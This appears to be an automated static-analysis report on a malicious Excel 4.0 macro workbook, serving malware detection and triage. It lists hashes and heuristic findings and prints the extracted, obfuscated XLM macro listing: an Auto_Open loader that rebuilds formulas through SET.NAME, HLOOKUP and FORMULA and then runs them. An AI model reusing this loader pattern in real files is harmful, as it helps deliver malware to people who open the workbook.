Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1804074f3b8f8c14…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:44:19 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: 044e1685ab424907a470c9bc4b220f94 SHA-1: 1f0fd3646ea8189e4c5bc8e65646c4b5213874d5 SHA-256: 1804074f3b8f8c14e35cc0c5311ceb2f53dc9f8fa836ba41797bbdf2b03a9e21
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6592 bytes
SHA-256: cf07285171138dbc1dbf8a17ee7d3cf1f1c674a8b7d16ef7a1ddb729921733ff
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 40 identifiers look randomly generated (e.g. 'VujBycIWBXrF') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  OWUzzPxLN
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D171 
' 0018     20 LABEL : Cell Value, String Constant - BfaUu len=0 
' 0018     26 LABEL : Cell Value, String Constant - bhVrUanqUOJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - bkyVBnrA len=0 
' 0018     22 LABEL : Cell Value, String Constant - CPaDCRt len=0 
' 0018     25 LABEL : Cell Value, String Constant - cThPtMZOKu len=0 
' 0018     25 LABEL : Cell Value, String Constant - DCSzxawFdc len=0 
' 0018     22 LABEL : Cell Value, String Constant - DppNDTt len=0 
' 0018     25 LABEL : Cell Value, String Constant - DtfDTHxtOM len=0 
' 0018     22 LABEL : Cell Value, String Constant - GmvMCdC len=0 
' 0018     23 LABEL : Cell Value, String Constant - KkicWkFX len=0 
' 0018     21 LABEL : Cell Value, String Constant - nQyNlr len=0 
' 0018     24 LABEL : Cell Value, String Constant - ovyQRFvtW len=0 
' 0018     21 LABEL : Cell Value, String Constant - qBPDmZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - QnOlLmZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - sHuPlOMEWL len=0 
' 0018     25 LABEL : Cell Value, String Constant - tmIgmdGFYY len=0 
' 0018     26 LABEL : Cell Value, String Constant - TRMjSeyPlKK len=0 
' 0018     27 LABEL : Cell Value, String Constant - VujBycIWBXrF len=0 
' 0018     21 LABEL : Cell Value, String Constant - WElDcO len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZplzYRtcnoMh len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  OWUzzPxLN,D83,"SET.NAME("DCSzxawFdc",VALUE("0"))",""
'  OWUzzPxLN,D85,"SET.NAME("VujBycIWBXrF",DCSzxawFdc)",""
'  OWUzzPxLN,D89,"SET.NAME("bhVrUanqUOJ",DCSzxawFdc)",""
'  OWUzzPxLN,D93,"SET.NAME("ZplzYRtcnoMh",COUNTA(DtfDTHxtOM))",""
'  OWUzzPxLN,D98,"SET.NAME("DppNDTt",COUNTA(WElDcO))",""
'  OWUzzPxLN,D100,[],""
'  OWUzzPxLN,D102,"SET.NAME("bkyVBnrA","")",""
'  OWUzzPxLN,D104,"VujBycIWBXrF",""
'  OWUzzPxLN,D109,"SET.NAME("BfaUu",HLOOKUP("*",DtfDTHxtOM,VujBycIWBXrF,FALSE))",""
'  OWUzzPxLN,D113,"ovyQRFvtW",""
'  OWUzzPxLN,D116,"SET.NAME("cThPtMZOKu",DCSzxawFdc)",""
'  OWUzzPxLN,D121,[],""
'  OWUzzPxLN,D123,"cThPtMZOKu",""
'  OWUzzPxLN,D128,"TRMjSeyPlKK",""
'  OWUzzPxLN,D130,"QnOlLmZ",""
'  OWUzzPxLN,D132,"nQyNlr",""
'  OWUzzPxLN,D134,"SET.NAME("tmIgmdGFYY",VALUE(HLOOKUP("*",WElDcO,nQyNlr,FALSE)))",""
'  OWUzzPxLN,D139,"GmvMCdC",""
'  OWUzzPxLN,D141,"bkyVBnrA",""
'  OWUzzPxLN,D145,"bhVrUanqUOJ",""
'  OWUzzPxLN,D149,NEXT(),""
'  OWUzzPxLN,D154,"CPaDCRt",""
'  OWUzzPxLN,D158,"SET.NAME("f",INT(T(FORMULA(T(bkyVBnrA)&"",""&T(CPaDCRt)))))",""
'  OWUzzPxLN,D162,"qBPDmZ",""
'  OWUzzPxLN,D165,NEXT(),""
'  OWUzzPxLN,D167,RETURN(),""
'  OWUzzPxLN,D194,"SET.NAME("sHuPlOMEWL",D83)",""
'  OWUzzPxLN,D199,"DtfDTHxtOM",""
'  OWUzzPxLN,D203,"SET.NAME("WElDcO",R56C11)",""
'  OWUzzPxLN,D208,"SET.NAME("qBPDmZ",215)",""
'  OWUzzPxLN,D212,"SET.NAME("KkicWkFX",4)",""
'  OWUzzPxLN,D214,sHuPlOMEWL(),""
'  OWUzzPxLN,D215,HALT(),""

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